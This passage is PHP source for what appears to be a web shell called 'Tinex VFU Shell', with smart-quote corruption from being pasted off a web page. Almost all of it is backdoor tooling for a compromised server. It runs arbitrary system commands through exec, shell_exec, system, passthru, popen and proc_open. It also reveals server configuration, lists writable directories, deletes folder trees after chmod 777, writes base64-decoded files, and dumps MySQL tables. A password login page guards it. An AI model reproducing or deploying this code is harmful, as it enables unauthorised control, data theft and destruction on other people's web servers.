$descriptorspec = array(
0 => array(‚pipe‘, ‚r‘),
1 => array(‚pipe‘, ‚w‘),
2 => array(‚pipe‘, ‚w‘)
);
$process = proc_open($_SERVER[‚COMSPEC‘], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p(‚</pre>‘);
}
}//end shell
elseif ($action == ‚phpenv‘) {
$upsize=getcfg(‚file_uploads‘) ? getcfg(‚upload_max_filesize‘) : ‚Not allowed‘;
$adminmail=isset($_SERVER[‚SERVER_ADMIN‘]) ? $_SERVER[‚SERVER_ADMIN‘] : getcfg(’sendmail_from‘);
!$dis_func && $dis_func = ‚No‘;
$info = array(
1 => array(‚Server Time‘,date(‚Y/m/d h:i:s‘,$timestamp)),
2 => array(‚Server Domain‘,$_SERVER[‚SERVER_NAME‘]),
3 => array(‚Server IP‘,gethostbyname($_SERVER[‚SERVER_NAME‘])),
4 => array(‚Server OS‘,PHP_OS),
5 => array(‚Server OS Charset‘,$_SERVER[‚HTTP_ACCEPT_LANGUAGE‘]),
6 => array(‚Server Software‘,$_SERVER[‚SERVER_SOFTWARE‘]),
7 => array(‚Server Web Port‘,$_SERVER[‚SERVER_PORT‘]),
8 => array(‚PHP run mode‘,strtoupper(php_sapi_name())),
9 => array(‚The file path‘,__FILE__),
10 => array(‚PHP Version‘,PHP_VERSION),
11 => array(‚PHPINFO‘,(IS_PHPINFO ? ‚<a href="javascript:goaction(\’phpinfo\‘);">Yes</a>‘ : ‚No‘)),
12 => array(‚Safe Mode‘,getcfg(’safe_mode‘)),
13 => array(‚Administrator‘,$adminmail),
14 => array(‚allow_url_fopen‘,getcfg(‚allow_url_fopen‘)),
15 => array(‚enable_dl‘,getcfg(‚enable_dl‘)),
16 => array(‚display_errors‘,getcfg(‚display_errors‘)),
17 => array(‚register_globals‘,getcfg(‚register_globals‘)),
18 => array(‚magic_quotes_gpc‘,getcfg(‚magic_quotes_gpc‘)),
19 => array(‚memory_limit‘,getcfg(‚memory_limit‘)),
20 => array(‚post_max_size‘,getcfg(‚post_max_size‘)),
21 => array(‚upload_max_filesize‘,$upsize),
22 => array(‚max_execution_time‘,getcfg(‚max_execution_time‘).‘ second(s)‘),
23 => array(‚disable_functions‘,$dis_func),
);
if($phpvarname) {
m($phpvarname .‘ : ‚.getcfg($phpvarname));
}
formhead(array(‚title’=>’Server environment‘));
makehide(‚action‘,’phpenv‘);
makeinput(array(‚title’=>’Please input PHP configuration parameter(eg:magic_quotes_gpc)‘,’name’=>’phpvarname‘,’value’=>$phpvarname,’newline’=>1));
formfooter();
$hp = array(0=> ‚Server‘, 1=> ‚PHP‘);
for($a=0;$a<2;$a++) {
p(‚<h2>‘.$hp[$a].‘ »</h2>‘);
p(‚<ul class="info">‘);
if ($a==0) {
for($i=1;$i<=9;$i++) {
p(‚<li><u>‘.$info[$i][0].‘:</u>‘.$info[$i][1].'</li>‘);
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p(‚<li><u>‘.$info[$i][0].‘:</u>‘.$info[$i][1].'</li>‘);
}
}
p(‚</ul>‘);
}
}//end phpenv
else {
m(‚Undefined Action‘);
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright (C) 2012-2013 <B></B> – <a href=’https://twitter.com/DamaneDz‘ target=_blank><B>Follow Me ^_^ – </B></a><B></B> Is Not My Own Shell I’m Just The Developer.
</div>
</body>
</noscript>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
echo ‚<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">‘;
echo $msg;
echo ‚</div>‘;
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin[‚cookiepre‘] : “).$key;
$life = $life ? $life : $admin[‚cookielife‘];
$useport = $_SERVER[‚SERVER_PORT‘] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin[‚cookiepath‘], $admin[‚cookiedomain‘], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = “;
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage – $offset;
$to = $curpage + $page – $offset – 1;
if($from < 1) {
$to = $curpage + 1 – $from;
$from = 1;
if(($to – $from) < $page && ($to – $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage – $pages + $to;
$to = $pages;
if(($to – $from) < $page && ($to – $from) < $pages) {
$from = $pages – $page + 1;
}
}
}
$multipage = ($curpage – $offset > 1 && $pages > $page ? ‚<a href="javascript:settable(\“.$tablename.’\‘, \’\‘, 1);">First</a> ‚ : “).($curpage > 1 ? ‚<a href="javascript:settable(\“.$tablename.’\‘, \’\‘, ‚.($curpage – 1).‘);">Prev</a> ‚ : “);
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.‘ ‚ : ‚<a href="javascript:settable(\“.$tablename.’\‘, \’\‘, ‚.$i.‘);">[‚.$i.‘]</a> ‚;
}
$multipage .= ($curpage < $pages ? ‚<a href="javascript:settable(\“.$tablename.’\‘, \’\‘, ‚.($curpage + 1).‘);">Next</a>‘ : “).($to < $pages ? ‚ <a href="javascript:settable(\“.$tablename.’\‘, \’\‘, ‚.$pages.‘);">Last</a>‘ : “);
$multipage = $multipage ? ‚<p>Pages: ‚.$multipage.'</p>‘ : “;
}
return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
<body bgcolor=black background=1.jpg>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>.::[ Tinex VFU Shell ]::. </title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
font-size: 11pt;
color: #FFFFFF;
font-family: verdana, sans-serif;
background-color: #000000;
border-left: 2px dashed #8B0000;
border-top: 2px dashed #8B0000;
border-right: 2px dashed #8B0000;
border-bottom: 2px dashed #8B0000;
}
</style>
<BR><BR>
<div align=center >
<div>
<font color=gray>
<br /><br /><br /><br /><br />
<form method="POST" action="">
<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<BR>
<?php
echo "".$err_mess."";
?>
<B><font color=red>
</div>
</fieldset>
</head>
</html>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = “;
if ($cfe) {
if(function_exists(‚exec‘)) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists(’shell_exec‘)) {
$res = @shell_exec($cfe);
} elseif(function_exists(’system‘)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(‚passthru‘)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = “;
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,’w‘)) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo() {
global $starttime;
$mtime = explode(‚ ‚, microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] – $starttime), 6);
echo ‚Processed in ‚.$totaltime.‘ second(s)‘;
}
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname=“,$charset=“,$dbport=’3306′) {
if(!$link = @mysql_connect($dbhost.‘:‘.$dbport, $dbuser, $dbpass)) {
p(‚<h2>Can not connect to MySQL server</h2>‘);
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p(‚<h2>Database selected has error</h2>‘);
exit;
}
}
if($link && mysql_get_server_info() > ‚4.1‘) {
if(in_array(strtolower($charset), array(‚gbk‘, ‚big5‘, ‚utf8′))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// HTML Strip
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = ’s‘;}
elseif (($mode & 0x4000) === 0x4000) {$type = ‚d‘;}
elseif (($mode & 0xA000) === 0xA000) {$type = ‚l‘;}
elseif (($mode & 0x8000) === 0x8000) {$type = ‚-‚;}
elseif (($mode & 0x6000) === 0x6000) {$type = ‚b‘;}
elseif (($mode & 0x2000) === 0x2000) {$type = ‚c‘;}
elseif (($mode & 0x1000) === 0x1000) {$type = ‚p‘;}
else {$type = ‚?‘;}
$owner[‚read‘] = ($mode & 00400) ? ‚r‘ : ‚-‚;
$owner[‚write‘] = ($mode & 00200) ? ‚w‘ : ‚-‚;
$owner[‚execute‘] = ($mode & 00100) ? ‚x‘ : ‚-‚;
$group[‚read‘] = ($mode & 00040) ? ‚r‘ : ‚-‚;
$group[‚write‘] = ($mode & 00020) ? ‚w‘ : ‚-‚;
$group[‚execute‘] = ($mode & 00010) ? ‚x‘ : ‚-‚;
$world[‚read‘] = ($mode & 00004) ? ‚r‘ : ‚-‚;
$world[‚write‘] = ($mode & 00002) ? ‚w‘ : ‚-‚;
$world[‚execute‘] = ($mode & 00001) ? ‚x‘ : ‚-‚;
if( $mode & 0x800 ) {$owner[‚execute‘] = ($owner[‚execute‘]==’x‘) ? ’s‘ : ‚S‘;}
if( $mode & 0x400 ) {$group[‚execute‘] = ($group[‚execute‘]==’x‘) ? ’s‘ : ‚S‘;}
if( $mode & 0x200 ) {$world[‚execute‘] = ($world[‚execute‘]==’x‘) ? ‚t‘ : ‚T‘;}
return $type.$owner[‚read‘].$owner[‚write‘].$owner[‚execute‘].$group[‚read‘].$group[‚write‘].$group[‚execute‘].$world[‚read‘].$world[‚write‘].$world[‚execute‘];
}
function getUser($filepath) {
if (function_exists(‚posix_getpwuid‘)) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ‚ / <a href="#" title="User: ‚.$array[’name‘].’
Passwd: ‚.$array[‚passwd‘].’
Uid: ‚.$array[‚uid‘].’
gid: ‚.$array[‚gid‘].’
Gecos: ‚.$array[‚gecos‘].’
Dir: ‚.$array[‚dir‘].’
Shell: ‚.$array[’shell‘].’">‘.$array[’name‘].'</a>‘;
}
}
return “;
}
// Delete dir
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.’/‘.$file)) && ($file!=‘.‘) && ($file!=‘..‘)) {
@chmod($deldir.’/‘.$file,0777);
deltree($deldir.’/‘.$file);
}
if (is_file($deldir.’/‘.$file)) {
@chmod($deldir.’/‘.$file,0777);
@unlink($deldir.’/‘.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
global $bgc;
return ($bgc++%2==0) ? ‚alt1‘ : ‚alt2‘;
}
// Get path
function getPath($scriptpath, $nowpath) {
if ($nowpath == ‚.‘) {
$nowpath = $scriptpath;
}
$nowpath = str_replace(‚\\‘, ‚/‘, $nowpath);
$nowpath = str_replace(‚//‘, ‚/‘, $nowpath);
if (substr($nowpath, -1) != ‚/‘) {
$nowpath = $nowpath.’/‘;
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
$pathdb = explode(‚/‘, $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode(‚/‘, $pathdb).’/‘;
$uppath = str_replace(‚//‘, ‚/‘, $uppath);
return $uppath;
}
// Config
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return ‚No‘;
} elseif ($result == 1) {
return ‚Yes‘;
} else {
return $result;
}
}
// Function name
function getfun($funName) {
return (false !== function_exists($funName)) ? ‚Yes‘ : ‚No‘;
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace(‚//‘,’/‘,$dir.’/‘.$file);
if($file!=‘.‘ && $file!=‘..‘ && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j][‚filename‘]=str_replace($nowpath,“,$f);
$dirdata[$j][‚mtime‘]=@date(‚Y-m-d H:i:s‘,filemtime($f));
$dirdata[$j][‚dirchmod‘]=getChmod($f);
$dirdata[$j][‚dirperm‘]=getPerms($f);
$dirdata[$j][‚dirlink‘]=ue($dir);
$dirdata[$j][’server_link‘]=$f;
$dirdata[$j][‚client_link‘]=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>‘;
$res = $error = “;
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ‚ G‘;
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ‚ M‘;
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ‚ K‘;
} else {
$size = $size . ‚ B‘;
}
return $size;
}
// Zip
class PHPZip{
var $out=“;
function PHPZip($dir) {
if (@function_exists(‚gzcompress‘)) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//File list
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, ‚r‘);
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// Show file list
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!=‘.‘ && $file!=‘..‘){
$f=$dir .’/‘. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray[‚year‘] < 1980) {
$timearray[‚year‘] = 1980;
$timearray[‚mon‘] = 1;
$timearray[‚mday‘] = 1;
$timearray[‚hours‘] = 0;
$timearray[‚minutes‘] = 0;
$timearray[’seconds‘] = 0;
} // end if
return (($timearray[‚year‘] – 1980) << 25) | ($timearray[‚mon‘] << 21) | ($timearray[‚mday‘] << 16) |
($timearray[‚hours‘] << 11) | ($timearray[‚minutes‘] << 5) | ($timearray[’seconds‘] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace(‚\\‘, ‚/‘, $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = ‚\x‘ . $dtime[6] . $dtime[7]
. ‚\x‘ . $dtime[4] . $dtime[5]
. ‚\x‘ . $dtime[2] . $dtime[3]
. ‚\x‘ . $dtime[0] . $dtime[1];
eval(‚$hexdtime = "‘ . $hexdtime . ‚";‘);
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) – 4), 2);
$fr .= pack(‚V‘, $crc);
$fr .= pack(‚V‘, $c_len);
$fr .= pack(‚V‘, $unc_len);
$fr .= pack(‚v‘, strlen($name));
$fr .= pack(‚v‘, 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack(‚V‘, $crc);
$fr .= pack(‚V‘, $c_len);
$fr .= pack(‚V‘, $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode(“, $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack(‚V‘, $crc);
$cdrec .= pack(‚V‘, $c_len);
$cdrec .= pack(‚V‘, $unc_len);
$cdrec .= pack(‚v‘, strlen($name) );
$cdrec .= pack(‚v‘, 0 );
$cdrec .= pack(‚v‘, 0 );
$cdrec .= pack(‚v‘, 0 );
$cdrec .= pack(‚v‘, 0 );
$cdrec .= pack(‚V‘, 32 );
$cdrec .= pack(‚V‘, $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode(“, $this -> datasec);
$ctrldir = implode(“, $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack(‚v‘, sizeof($this -> ctrl_dir)) . pack(‚v‘, sizeof($this -> ctrl_dir)) . pack(‚V‘, strlen($ctrldir)) . pack(‚V‘, strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT ‚$field[Default]’";
}
if ($field[‚Null‘] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field[‚Extra‘] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key[‚Key_name‘];
if ($kname != "PRIMARY" && $key[‚Non_unique‘] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key[‚Column_name‘];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "’".mysql_escape_string($row[$fieldcounter])."’";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p(‚<table width="100%" border="0" cellpadding="4" cellspacing="0">‘);
}
function tbfoot(){
p(‚</table>‘);
}
function makehide($name,$value=“){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg[’size‘] = $arg[’size‘] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg[‚extra‘] = $arg[‚extra‘] ? $arg[‚extra‘] : “;
!$arg[‚type‘] && $arg[‚type‘] = ‚text‘;
$arg[‚title‘] = $arg[‚title‘] ? $arg[‚title‘].'<br />‘ : “;
$arg[‚class‘] = $arg[‚class‘] ? $arg[‚class‘] : ‚input‘;
if ($arg[’newline‘]) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg[‚onchange‘]) {
$onchange = ‚onchange="‘.$arg[‚onchange‘].’"‘;
}
$arg[‚title‘] = $arg[‚title‘] ? $arg[‚title‘] : “;
if ($arg[’newline‘]) p(‚<p>‘);
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg[‚option‘])) {
foreach ($arg[‚option‘] as $key=>$value) {
if ($arg[’selected‘]==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg[’newline‘]) p(‚</p>‘);
}
function formhead($arg = array()) {
!$arg[‚method‘] && $arg[‚method‘] = ‚post‘;
!$arg[‚action‘] && $arg[‚action‘] = $self;
$arg[‚target‘] = $arg[‚target‘] ? "target=\"$arg[target]\"" : “;
!$arg[’name‘] && $arg[’name‘] = ‚form1‘;
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg[‚title‘]) {
p(‚<h2>‘.$arg[‚title‘].‘ »</h2>‘);
}
}
function maketext($arg = array()){
!$arg[‚cols‘] && $arg[‚cols‘] = 100;
!$arg[‚rows‘] && $arg[‚rows‘] = 25;
$arg[‚title‘] = $arg[‚title‘] ? $arg[‚title‘].'<br />‘ : “;
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = “){
!$name && $name = ’submit‘;
p(‚<p><input class="bt" name="‘.$name.’" id=\"‘.$name.’\" type="submit" value="Submit"></p>‘);
p(‚</form>‘);
}
function formfoot(){
p(‚</form>‘);
}
// Exit
function pr($a) {
echo ‚<pre>‘;
print_r($a);
echo ‚</pre>‘;
}
?>
[/php]